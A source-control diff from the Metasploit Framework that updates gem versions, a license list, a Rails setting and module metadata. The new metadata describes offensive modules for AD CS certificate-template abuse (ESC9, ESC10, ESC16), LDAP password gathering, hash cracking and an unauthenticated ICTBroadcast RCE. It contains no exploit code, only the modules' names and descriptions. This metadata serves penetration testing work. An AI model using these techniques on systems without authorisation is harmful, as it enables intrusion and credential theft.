aws-partitions (~> 1, >= 1.992.0)
aws-sigv4 (~> 1.9)
base64
jmespath (~> 1, >= 1.6.1)
logger
aws-sdk-ec2 (1.541.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-ec2 (1.511.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-ec2instanceconnect (1.59.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-ec2instanceconnect (1.55.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-iam (1.125.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-iam (1.119.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-kms (1.107.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-kms (1.99.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-s3 (1.194.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-s3 (1.182.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.5)
aws-sdk-ssm (1.199.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-ssm (1.191.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sigv4 (1.12.1)
aws-sigv4 (1.11.0)
aws-eventstream (~> 1, >= 1.0.2)
base64 (0.2.0)
bcrypt (3.1.20)
@@ -211,30 +209,32 @@ GEM
benchmark (0.4.1)
bigdecimal (3.2.2)
bindata (2.4.15)
bootsnap (1.18.6)
bootsnap (1.18.4)
msgpack (~> 1.2)
bson (5.1.1)
bson (5.0.2)
builder (3.3.0)
byebug (12.0.0)
byebug (11.1.3)
chunky_png (1.4.0)
coderay (1.1.3)
concurrent-ruby (1.3.4)
concurrent-ruby (1.3.5)
connection_pool (2.5.3)
cookiejar (0.3.4)
crass (1.0.6)
csv (3.3.5)
csv (3.3.2)
daemons (1.4.1)
date (3.4.1)
debug (1.11.0)
debug (1.10.0)
irb (~> 1.10)
reline (>= 0.3.8)
diff-lcs (1.6.2)
dnsruby (1.72.2)
dnsruby (1.72.4)
base64 (~> 0.2.0)
logger (~> 1.6.5)
simpleidn (~> 0.2.1)
docile (1.4.1)
domain_name (0.6.20240107)
drb (2.2.3)
ed25519 (1.4.0)
ed25519 (1.3.0)
elftools (1.3.1)
bindata (~> 2)
em-http-request (1.1.7)
@@ -254,20 +254,20 @@ GEM
factory_bot_rails (6.5.0)
factory_bot (~> 6.5)
railties (>= 6.1.0)
faker (3.5.2)
faker (3.5.1)
i18n (>= 1.8.11, < 2)
faraday (2.7.11)
base64
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
faraday-retry (2.3.2)
faraday-retry (2.2.1)
faraday (~> 2.0)
faye-websocket (0.12.0)
faye-websocket (0.11.3)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.8.0)
websocket-driver (>= 0.5.1)
ffi (1.16.3)
fiddle (1.1.8)
fiddle (1.1.6)
filesize (0.2.0)
fivemat (1.3.7)
forwardable (1.3.3)
@@ -298,7 +298,7 @@ GEM
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.13.1)
json (2.10.2)
language_server-protocol (3.17.0.5)
license_finder (5.11.1)
bundler
@@ -309,7 +309,7 @@ GEM
xml-simple
lint_roller (1.1.0)
little-plugger (1.1.4)
logger (1.7.0)
logger (1.6.6)
logging (2.4.0)
little-plugger (~> 1.1)
multi_json (~> 1.14)
@@ -348,35 +348,32 @@ GEM
mutex_m
railties (~> 7.0)
metasploit-payloads (2.0.221)
metasploit_data_models (6.0.10)
metasploit_data_models (6.0.9)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
bigdecimal
drb
metasploit-concern
metasploit-model (>= 3.1)
mutex_m
pg
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.42)
metasploit_payloads-mettle (1.0.45)
method_source (1.1.0)
mime-types (3.7.0)
mime-types (3.6.0)
logger
mime-types-data (~> 3.2025, >= 3.2025.0507)
mime-types-data (3.2025.0722)
mime-types-data (~> 3.2015)
mime-types-data (3.2025.0304)
mini_portile2 (2.8.9)
minitest (5.25.5)
mqtt (0.6.0)
msgpack (1.6.1)
multi_json (1.17.0)
multi_json (1.15.0)
mustermann (3.0.3)
ruby2_keywords (~> 0.0.1)
mutex_m (0.3.0)
nessus_rest (0.1.6)
net-imap (0.5.9)
net-imap (0.5.6)
date
net-protocol
net-ldap (0.19.0)
@@ -401,7 +398,7 @@ GEM
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
ostruct (0.6.3)
ostruct (0.6.1)
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.27.0)
@@ -422,16 +419,16 @@ GEM
prettyprint
prettyprint (0.2.0)
prism (1.4.0)
pry (0.15.2)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.11.0)
byebug (~> 12.0)
pry (>= 0.13, < 0.16)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
psych (5.2.6)
date
stringio
public_suffix (6.0.2)
public_suffix (6.0.1)
puma (6.6.0)
nio4r (~> 2.0)
racc (1.8.1)
@@ -453,10 +450,10 @@ GEM
rails-html-sanitizer (1.6.2)
loofah (~> 2.21)
nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
railties (7.1.5.1)
actionpack (= 7.1.5.1)
activesupport (= 7.1.5.1)
irb
railties (7.2.2.1)
actionpack (= 7.2.2.1)
activesupport (= 7.2.2.1)
irb (~> 1.13)
rackup (>= 1.0.0)
rake (>= 12.2)
thor (~> 1.0, >= 1.2.2)
@@ -469,7 +466,7 @@ GEM
rdoc (6.14.2)
erb
psych (>= 4.0.0)
recog (3.1.18)
recog (3.1.14)
nokogiri
redcarpet (3.6.1)
regexp_parser (2.10.0)
@@ -478,7 +475,7 @@ GEM
require_all (3.0.0)
rex-arch (0.1.18)
rex-text
rex-bin_tools (0.1.12)
rex-bin_tools (0.1.10)
metasm
rex-arch
rex-core
@@ -489,29 +486,26 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.42)
bigdecimal
rex-exploitation (0.1.41)
jsobfu
metasm
racc
rex-arch
rex-encoder
rex-text
rexml
rex-java (0.1.8)
rex-mime (0.1.12)
bigdecimal
rex-mime (0.1.11)
rex-text
rex-nop (0.1.4)
rex-arch
rex-ole (0.1.9)
rex-text
rex-powershell (0.1.102)
rex-powershell (0.1.103)
bigdecimal
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.16)
rex-random_identifier (0.1.20)
bigdecimal
rex-text
rex-registry (0.1.6)
@@ -519,7 +513,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.63)
rex-socket (0.1.62)
dnsruby
rex-core
rex-sslscan (0.1.13)
@@ -537,7 +531,7 @@ GEM
forwardable
ipaddr
rkelly-remix (0.0.7)
rspec (3.13.1)
rspec (3.13.0)
rspec-core (~> 3.13.0)
rspec-expectations (~> 3.13.0)
rspec-mocks (~> 3.13.0)
@@ -549,10 +543,10 @@ GEM
rspec-mocks (3.13.5)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0)
rspec-rails (7.1.1)
actionpack (>= 7.0)
activesupport (>= 7.0)
railties (>= 7.0)
rspec-rails (8.0.1)
actionpack (>= 7.2)
activesupport (>= 7.2)
railties (>= 7.2)
rspec-core (~> 3.13)
rspec-expectations (~> 3.13)
rspec-mocks (~> 3.13)
@@ -571,7 +565,7 @@ GEM
rubocop-ast (>= 1.44.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 4.0)
rubocop-ast (1.46.0)
rubocop-ast (1.44.1)
parser (>= 3.3.7.2)
prism (~> 1.4)
ruby-macho (4.1.0)
@@ -581,7 +575,7 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.16)
ruby_smb (3.3.15)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
@@ -597,7 +591,7 @@ GEM
simplecov (0.18.2)
docile (~> 1.1)
simplecov-html (~> 0.11)
simplecov-html (0.13.2)
simplecov-html (0.13.1)
simpleidn (0.2.3)
sinatra (3.2.0)
mustermann (~> 3.0)
@@ -618,7 +612,7 @@ GEM
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.4.0)
tilt (2.6.1)
tilt (2.6.0)
timecop (0.9.10)
timeout (0.4.3)
toml (0.2.0)
@@ -627,16 +621,17 @@ GEM
bigdecimal (~> 3.1)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2025.2)
tzinfo-data (1.2025.1)
tzinfo (>= 1.0.0)
unicode-display_width (3.1.4)
unicode-emoji (~> 4.0, >= 4.0.4)
unicode-emoji (4.0.4)
unix-crypt (1.3.1)
useragent (0.16.11)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.9.1)
websocket-driver (0.8.0)
websocket-driver (0.7.7)
base64
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
@@ -688,4 +683,4 @@ DEPENDENCIES
yard
BUNDLED WITH
2.5.22
2.5.10
+29 -28
View File
@@ -2,11 +2,11 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 2.0.1, MIT
aarch64, 2.1.0, "Apache 2.0"
abbrev, 0.1.2, "ruby, Simplified BSD"
actionpack, 7.1.5.1, MIT
actionview, 7.1.5.1, MIT
activemodel, 7.1.5.1, MIT
activerecord, 7.1.5.1, MIT
activesupport, 7.1.5.1, MIT
actionpack, 7.2.2.1, MIT
actionview, 7.2.2.1, MIT
activemodel, 7.2.2.1, MIT
activerecord, 7.2.2.1, MIT
activesupport, 7.2.2.1, MIT
addressable, 2.8.7, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.26.0, "Apache 2.0"
@@ -32,19 +32,19 @@ bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.18.4, MIT
bson, 5.0.2, "Apache 2.0"
builder, 3.3.0, MIT
bundler, 2.5.22, MIT
bundler, 2.5.10, MIT
byebug, 11.1.3, "Simplified BSD"
chunky_png, 1.4.0, MIT
coderay, 1.1.3, MIT
concurrent-ruby, 1.3.4, MIT
concurrent-ruby, 1.3.5, MIT
connection_pool, 2.5.3, MIT
cookiejar, 0.3.4, "Simplified BSD"
crass, 1.0.6, MIT
csv, 3.3.2, "ruby, Simplified BSD"
daemons, 1.4.1, MIT
date, 3.4.1, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
debug, 1.10.0, "ruby, Simplified BSD"
diff-lcs, 1.6.2, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
dnsruby, 1.72.4, "Apache 2.0"
docile, 1.4.1, MIT
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
@@ -56,8 +56,8 @@ em-socksify, 0.3.3, MIT
erb, 5.0.2, "ruby, Simplified BSD"
erubi, 1.13.1, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.5.1, MIT
factory_bot_rails, 6.4.4, MIT
factory_bot, 6.5.4, MIT
factory_bot_rails, 6.5.0, MIT
faker, 3.5.1, MIT
faraday, 2.7.11, MIT
faraday-net_http, 3.0.2, MIT
@@ -96,11 +96,11 @@ memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.5, "New BSD"
metasploit-credential, 6.0.16, "New BSD"
metasploit-framework, 6.4.76, "New BSD"
metasploit-framework, 6.4.80, "New BSD"
metasploit-model, 5.0.4, "New BSD"
metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.10, "New BSD"
metasploit_payloads-mettle, 1.0.42, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.9, "New BSD"
metasploit_payloads-mettle, 1.0.45, "3-clause (or ""modified"") BSD"
method_source, 1.1.0, MIT
mime-types, 3.6.0, MIT
mime-types-data, 3.2025.0304, MIT
@@ -121,7 +121,7 @@ net-ssh, 7.3.0, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.7.4, "MIT, Simplified BSD"
nokogiri, 1.18.8, MIT
nokogiri, 1.18.9, MIT
nori, 2.7.1, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
@@ -152,16 +152,16 @@ rack-test, 2.2.0, MIT
rackup, 1.0.1, MIT
rails-dom-testing, 2.3.0, MIT
rails-html-sanitizer, 1.6.2, MIT
railties, 7.1.5.1, MIT
railties, 7.2.2.1, MIT
rainbow, 3.1.1, MIT
rake, 13.3.0, MIT
rasn1, 0.14.0, MIT
rb-readline, 0.5.5, BSD
rdoc, 6.14.2, ruby
recog, 3.1.17, unknown
recog, 3.1.14, unknown
redcarpet, 3.6.1, MIT
regexp_parser, 2.10.0, MIT
reline, 0.6.1, ruby
reline, 0.6.2, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.18, "New BSD"
rex-bin_tools, 0.1.10, "New BSD"
@@ -172,11 +172,11 @@ rex-java, 0.1.8, "New BSD"
rex-mime, 0.1.11, "New BSD"
rex-nop, 0.1.4, "New BSD"
rex-ole, 0.1.9, "New BSD"
rex-powershell, 0.1.101, "New BSD"
rex-random_identifier, 0.1.16, "New BSD"
rex-powershell, 0.1.103, "New BSD"
rex-random_identifier, 0.1.20, "New BSD"
rex-registry, 0.1.6, "New BSD"
rex-rop_builder, 0.1.6, "New BSD"
rex-socket, 0.1.63, "New BSD"
rex-socket, 0.1.62, "New BSD"
rex-sslscan, 0.1.13, "New BSD"
rex-struct2, 0.1.5, "New BSD"
rex-text, 0.2.61, "New BSD"
@@ -185,17 +185,17 @@ rexml, 3.4.1, "Simplified BSD"
rinda, 0.2.0, "ruby, Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.13.0, MIT
rspec-core, 3.13.3, MIT
rspec-expectations, 3.13.3, MIT
rspec-mocks, 3.13.2, MIT
rspec-rails, 7.1.1, MIT
rspec-core, 3.13.5, MIT
rspec-expectations, 3.13.5, MIT
rspec-mocks, 3.13.5, MIT
rspec-rails, 8.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.13.2, MIT
rspec-support, 3.13.4, MIT
rubocop, 1.75.7, MIT
rubocop-ast, 1.44.1, MIT
ruby-macho, 4.1.0, MIT
ruby-mysql, 4.2.0, MIT
ruby-prof, 1.7.1, "Simplified BSD"
ruby-prof, 1.7.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
@@ -216,7 +216,7 @@ swagger-blocks, 3.0.0, MIT
syslog, 0.3.0, "ruby, Simplified BSD"
test-prof, 1.4.4, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.3.2, MIT
thor, 1.4.0, MIT
tilt, 2.6.0, MIT
timecop, 0.9.10, MIT
timeout, 0.4.3, "ruby, Simplified BSD"
@@ -227,6 +227,7 @@ tzinfo-data, 1.2025.1, MIT
unicode-display_width, 3.1.4, MIT
unicode-emoji, 4.0.4, MIT
unix-crypt, 1.3.1, 0BSD
useragent, 0.16.11, MIT
warden, 1.2.9, MIT
webrick, 1.9.1, "ruby, Simplified BSD"
websocket-driver, 0.7.7, "Apache 2.0"
+1 -1
View File
@@ -41,7 +41,7 @@ module Metasploit
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
config.autoloader = :zeitwerk
config.load_defaults 7.1
config.load_defaults 7.2
config.eager_load = false
end
+884 -92
View File
@@ -823,6 +823,69 @@
}
]
},
"auxiliary_admin/dcerpc/esc_update_ldap_object": {
"name": "Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16",
"fullname": "auxiliary/admin/dcerpc/esc_update_ldap_object",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Will Schroeder",
"Lee Christensen",
"Oliver Lyak",
"Spencer McIntyre",
"jheysel-r7"
],
"description": "This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically\n ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.\n The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the\n admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the\n admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via\n MS-ICPR. The resulting certificate can be used for various operations, such as authentication.\n\n The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are\n reverted after execution to maintain system integrity.",
"references": [
"URL-https://github.com/GhostPack/Certify",
"URL-https://github.com/ly4k/Certipy",
"URL-https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760",
"URL-https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc16-a-compatibility-mode"
],
"platform": "",
"arch": "",
"rport": 445,
"autofilter_ports": [
139,
445
],
"autofilter_services": [
"netbios-ssn",
"microsoft-ds"
],
"targets": null,
"mod_time": "2025-07-30 15:28:56 +0000",
"path": "/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb",
"is_install_path": true,
"ref_name": "admin/dcerpc/esc_update_ldap_object",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Reliability": [],
"Stability": [],
"SideEffects": [
"ioc-in-logs"
],
"AKA": [
"ESC9",
"ESC10",
"ESC16"
]
},
"session_types": [
"smb"
],
"needs_cleanup": false,
"actions": [
{
"name": "REQUEST_CERT",
"description": "Request a certificate"
}
]
},
"auxiliary_admin/dcerpc/icpr_cert": {
"name": "ICPR Certificate Management",
"fullname": "auxiliary/admin/dcerpc/icpr_cert",
@@ -6639,7 +6702,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-01-29 14:25:33 +0000",
"mod_time": "2025-08-11 14:08:21 +0000",
"path": "/modules/auxiliary/admin/kerberos/get_ticket.rb",
"is_install_path": true,
"ref_name": "admin/kerberos/get_ticket",
@@ -6970,6 +7033,64 @@
}
]
},
"auxiliary_admin/ldap/ldap_object_attribute": {
"name": "LDAP Update Object",
"fullname": "auxiliary/admin/ldap/ldap_object_attribute",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"jheysel"
],
"description": "This module allows creating, reading, updating and deleting attributes of LDAP objects.\n Users can specify the object and must specify a corresponding attribute.",
"references": [],
"platform": "",
"arch": "",
"rport": 389,
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-05-13 09:23:28 +0000",
"path": "/modules/auxiliary/admin/ldap/ldap_object_attribute.rb",
"is_install_path": true,
"ref_name": "admin/ldap/ldap_object_attribute",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [],
"SideEffects": [
"ioc-in-logs",
"config-changes"
]
},
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
{
"name": "CREATE",
"description": "Create an LDAP object"
},
{
"name": "DELETE",
"description": "Delete the LDAP object"
},
{
"name": "READ",
"description": "Read the the LDAP object"
},
{
"name": "UPDATE",
"description": "Modify the LDAP object"
}
]
},
"auxiliary_admin/ldap/rbcd": {
"name": "Role Base Constrained Delegation",
"fullname": "auxiliary/admin/ldap/rbcd",
@@ -7053,7 +7174,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-06-23 18:39:19 +0000",
"mod_time": "2025-05-13 09:23:28 +0000",
"path": "/modules/auxiliary/admin/ldap/shadow_credentials.rb",
"is_install_path": true,
"ref_name": "admin/ldap/shadow_credentials",
@@ -12325,7 +12446,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-05-07 21:38:27 +0000",
"mod_time": "2025-08-02 14:18:28 +0000",
"path": "/modules/auxiliary/analyze/crack_aix.rb",
"is_install_path": true,
"ref_name": "analyze/crack_aix",
@@ -12342,6 +12463,10 @@
"session_types": false,
"needs_cleanup": false,
"actions": [
{
"name": "auto",
"description": "Auto-selection of cracker"
},
{
"name": "hashcat",
"description": "Use Hashcat"
@@ -12377,7 +12502,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-05-07 21:38:27 +0000",
"mod_time": "2025-07-30 14:09:45 +0000",
"path": "/modules/auxiliary/analyze/crack_databases.rb",
"is_install_path": true,
"ref_name": "analyze/crack_databases",
@@ -12394,6 +12519,10 @@
"session_types": false,
"needs_cleanup": false,
"actions": [
{
"name": "auto",
"description": "Auto-selection of cracker"
},
{
"name": "hashcat",
"description": "Use Hashcat"
@@ -12426,7 +12555,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-05-07 21:38:27 +0000",
"mod_time": "2025-07-30 14:10:03 +0000",
"path": "/modules/auxiliary/analyze/crack_linux.rb",
"is_install_path": true,
"ref_name": "analyze/crack_linux",
@@ -12443,6 +12572,10 @@
"session_types": false,
"needs_cleanup": false,
"actions": [
{
"name": "auto",
"description": "Auto-selection of cracker"
},
{
"name": "hashcat",
"description": "Use Hashcat"
@@ -12512,7 +12645,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-05-07 21:38:27 +0000",
"mod_time": "2025-07-30 14:10:31 +0000",
"path": "/modules/auxiliary/analyze/crack_osx.rb",
"is_install_path": true,
"ref_name": "analyze/crack_osx",
@@ -12529,6 +12662,10 @@
"session_types": false,
"needs_cleanup": false,
"actions": [
{
"name": "auto",
"description": "Auto-selection of cracker"
},
{
"name": "hashcat",
"description": "Use Hashcat"
@@ -12557,7 +12694,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-05-07 21:38:27 +0000",
"mod_time": "2025-07-30 14:10:49 +0000",
"path": "/modules/auxiliary/analyze/crack_webapps.rb",
"is_install_path": true,
"ref_name": "analyze/crack_webapps",
@@ -12574,6 +12711,10 @@
"session_types": false,
"needs_cleanup": false,
"actions": [
{
"name": "auto",
"description": "Auto-selection of cracker"
},
{
"name": "hashcat",
"description": "Use Hashcat"
@@ -12606,7 +12747,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-05-07 21:38:27 +0000",
"mod_time": "2025-07-30 14:11:06 +0000",
"path": "/modules/auxiliary/analyze/crack_windows.rb",
"is_install_path": true,
"ref_name": "analyze/crack_windows",
@@ -12623,6 +12764,10 @@
"session_types": false,
"needs_cleanup": false,
"actions": [
{
"name": "auto",
"description": "Auto-selection of cracker"
},
{
"name": "hashcat",
"description": "Use Hashcat"
@@ -13969,7 +14114,7 @@
"https"
],
"targets": null,
"mod_time": "2025-06-20 13:20:44 +0000",
"mod_time": "2025-08-01 10:48:54 +0000",
"path": "/modules/auxiliary/dos/http/apache_range_dos.rb",
"is_install_path": true,
"ref_name": "dos/http/apache_range_dos",
@@ -24116,11 +24261,13 @@
"Spencer McIntyre",
"jheysel-r7"
],
"description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC4,\n ESC13, and ESC15. The module is limited to checking for these techniques due to them being identifiable\n remotely from a normal user account by analyzing the objects in LDAP.",
"description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC4,\n ESC13, and ESC15. The module is limited to checking for these techniques due to them being identifiable\n remotely from a normal user account by analyzing the objects in LDAP.\n\n The module can also check for ESC9, ESC10 and ESC16 but this requires an Administrative WinRM session to be\n established to definitively check for these techniques.",
"references": [
"URL-https://posts.specterops.io/certified-pre-owned-d95910965cd2",
"URL-https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7",
"URL-https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53",
"URL-https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc"
"URL-https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
"URL-https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation"
],
"platform": "",
"arch": "",
@@ -24128,7 +24275,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-06-17 11:19:09 +0000",
"mod_time": "2025-07-30 12:13:33 +0000",
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
"is_install_path": true,
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
@@ -24169,7 +24316,7 @@
"Tyler Booth",
"Hynek Petrak"
],
"description": "This module will gather passwords and password hashes from a target LDAP server via multiple techniques\n including Windows LAPS.",
"description": "This module will gather passwords and password hashes from a target LDAP server via multiple techniques\n including Windows LAPS. For best results, run with SSL because some attributes are only readable over\n encrypted connections.",
"references": [
"URL-https://blog.xpnsec.com/lapsv2-internals/",
"URL-https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py"
@@ -24180,7 +24327,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-04-07 15:21:08 +0000",
"mod_time": "2025-07-18 17:10:35 +0000",
"path": "/modules/auxiliary/gather/ldap_passwords.rb",
"is_install_path": true,
"ref_name": "gather/ldap_passwords",
@@ -46586,7 +46733,7 @@
"https"
],
"targets": null,
"mod_time": "2024-12-29 17:25:12 +0000",
"mod_time": "2025-07-29 11:36:48 +0000",
"path": "/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_ultimate_member_sorting_sqli",
@@ -47575,7 +47722,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-04-08 18:21:39 +0000",
"mod_time": "2025-08-11 16:37:37 +0000",
"path": "/modules/auxiliary/scanner/ldap/ldap_login.rb",
"is_install_path": true,
"ref_name": "scanner/ldap/ldap_login",
@@ -52155,7 +52302,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-06-23 12:43:46 +0000",
"mod_time": "2025-07-24 19:23:44 +0000",
"path": "/modules/auxiliary/scanner/redis/redis_server.rb",
"is_install_path": true,
"ref_name": "scanner/redis/redis_server",
@@ -75239,6 +75386,63 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/ictbroadcast_unauth_cookie": {
"name": "ICTBroadcast Unauthenticated Remote Code Execution",
"fullname": "exploit/linux/http/ictbroadcast_unauth_cookie",
"aliases": [],
"rank": 600,
"disclosure_date": "2025-03-19",
"type": "exploit",
"author": [
"Valentin Lobstein"
],
"description": "This module exploits an unauthenticated remote code execution (RCE) vulnerability\n in ICTBroadcast. The vulnerability exists in the way session cookies are handled\n and processed, allowing an attacker to inject arbitrary system commands.",
"references": [
"URL-https://www.ictbroadcast.com/",
"CVE-2025-2611"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix/Linux Command Shell"
],
"mod_time": "2025-08-04 17:53:29 +0000",
"path": "/modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb",
"is_install_path": true,
"ref_name": "linux/http/ictbroadcast_unauth_cookie",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/imperva_securesphere_exec": {
"name": "Imperva SecureSphere PWS Command Injection",
"fullname": "exploit/linux/http/imperva_securesphere_exec",
@@ -80573,7 +80777,7 @@
"fullname": "exploit/linux/http/pandora_fms_auth_netflow_rce",
"aliases": [],
"rank": 600,
"disclosure_date": "2025-12-30",
"disclosure_date": "2025-06-27",
"type": "exploit",
"author": [
"msutovsky-r7"
@@ -80603,7 +80807,7 @@
"targets": [
"Linux/Unix Command"
],
"mod_time": "2025-07-04 08:54:30 +0000",
"mod_time": "2025-07-31 12:58:28 +0000",
"path": "/modules/exploits/linux/http/pandora_fms_auth_netflow_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/pandora_fms_auth_netflow_rce",
@@ -80921,6 +81125,66 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/pandora_itsm_auth_rce_cve_2025_4653": {
"name": "Pandora ITSM authenticated command injection leading to RCE via the backup function",
"fullname": "exploit/linux/http/pandora_itsm_auth_rce_cve_2025_4653",
